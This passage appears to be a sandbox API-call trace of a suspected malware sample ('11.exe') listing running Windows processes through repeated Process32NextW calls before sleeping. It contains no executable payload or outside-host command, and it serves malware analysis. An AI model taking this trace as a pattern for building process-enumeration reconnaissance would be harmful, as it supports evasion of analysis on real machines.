(in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.984] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.985] lstrlenW (lpString="System") returned 6 [0208.985] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.986] lstrlenW (lpString="smss.exe") returned 8 [0208.986] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.119] lstrlenW (lpString="csrss.exe") returned 9 [0209.120] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.120] lstrlenW (lpString="wininit.exe") returned 11 [0209.120] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.121] lstrlenW (lpString="csrss.exe") returned 9 [0209.121] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.122] lstrlenW (lpString="winlogon.exe") returned 12 [0209.122] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.123] lstrlenW (lpString="services.exe") returned 12 [0209.123] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.124] lstrlenW (lpString="lsass.exe") returned 9 [0209.124] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.125] lstrlenW (lpString="svchost.exe") returned 11 [0209.125] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0209.125] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0209.126] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0209.127] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0209.127] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.127] lstrlenW (lpString="svchost.exe") returned 11 [0209.127] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.128] lstrlenW (lpString="dwm.exe") returned 7 [0209.128] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.129] lstrlenW (lpString="svchost.exe") returned 11 [0209.129] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.130] lstrlenW (lpString="svchost.exe") returned 11 [0209.130] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.131] lstrlenW (lpString="svchost.exe") returned 11 [0209.131] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.131] lstrlenW (lpString="svchost.exe") returned 11 [0209.131] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.132] lstrlenW (lpString="svchost.exe") returned 11 [0209.132] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.133] lstrlenW (lpString="svchost.exe") returned 11 [0209.133] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.134] lstrlenW (lpString="svchost.exe") returned 11 [0209.134] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.135] lstrlenW (lpString="svchost.exe") returned 11 [0209.135] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.136] lstrlenW (lpString="svchost.exe") returned 11 [0209.136] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.138] lstrlenW (lpString="spoolsv.exe") returned 11 [0209.138] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.139] lstrlenW (lpString="svchost.exe") returned 11 [0209.139] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.140] lstrlenW (lpString="svchost.exe") returned 11 [0209.140] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.141] lstrlenW (lpString="audiodg.exe") returned 11 [0209.141] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0209.142] lstrlenW (lpString="sihost.exe") returned 10 [0209.142] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.144] lstrlenW (lpString="svchost.exe") returned 11 [0209.144] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0209.145] lstrlenW (lpString="taskhostw.exe") returned 13 [0209.145] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0209.146] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0209.146] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0209.147] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0209.147] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.148] lstrlenW (lpString="explorer.exe") returned 12 [0209.148] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0209.149] lstrlenW (lpString="Memory Compression") returned 18 [0209.149] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0209.149] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0209.149] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0209.150] lstrlenW (lpString="SearchUI.exe") returned 12 [0209.151] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0209.151] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0209.151] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.152] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.152] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0209.162] lstrlenW (lpString="entering.exe") returned 12 [0209.162] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0209.543] lstrlenW (lpString="literally.exe") returned 13 [0209.543] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0209.544] lstrlenW (lpString="prep.exe") returned 8 [0209.544] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0209.545] lstrlenW (lpString="homeless.exe") returned 12 [0209.545] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0209.546] lstrlenW (lpString="tips.exe") returned 8 [0209.546] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0209.546] lstrlenW (lpString="rhode_cow.exe") returned 13 [0209.546] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0209.547] lstrlenW (lpString="discount.exe") returned 12 [0209.547] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0209.548] lstrlenW (lpString="littleclosest.exe") returned 17 [0209.548] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0209.549] lstrlenW (lpString="compact.exe") returned 11 [0209.895] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0209.896] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0209.896] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0209.897] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0209.897] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0209.898] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0209.898] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0209.899] lstrlenW (lpString="vincentkills.exe") returned 16 [0209.899] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0209.900] lstrlenW (lpString="armstrong.exe") returned 13 [0209.900] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0209.900] lstrlenW (lpString="superb_guilty.exe") returned 17 [0209.901] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0209.902] lstrlenW (lpString="conditional employer.exe") returned 24 [0209.902] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0209.902] lstrlenW (lpString="middle shown.exe") returned 16 [0209.903] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0209.903] lstrlenW (lpString="forced_online.exe") returned 17 [0209.903] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0209.904] lstrlenW (lpString="knitting.exe") returned 12 [0209.904] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0209.905] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0209.905] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0209.906] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0209.906] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0209.907] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0209.907] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.910] lstrlenW (lpString="svchost.exe") returned 11 [0209.910] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0209.911] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0209.911] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.912] lstrlenW (lpString="conhost.exe") returned 11 [0209.912] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0209.913] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0209.913] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.914] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.914] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0209.917] lstrlenW (lpString="WMIADAP.exe") returned 11 [0209.918] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0209.918] lstrlenW (lpString="11.exe") returned 6 [0209.919] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.919] lstrlenW (lpString="cmd.exe") returned 7 [0209.919] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.920] lstrlenW (lpString="conhost.exe") returned 11 [0209.920] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0209.921] lstrlenW (lpString="mode.com") returned 8 [0209.921] Process32NextW (in: hSnapshot=0x354, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0209.922] CloseHandle (hObject=0x354) returned 1 [0209.922] Sleep (dwMilliseconds=0x1f4) 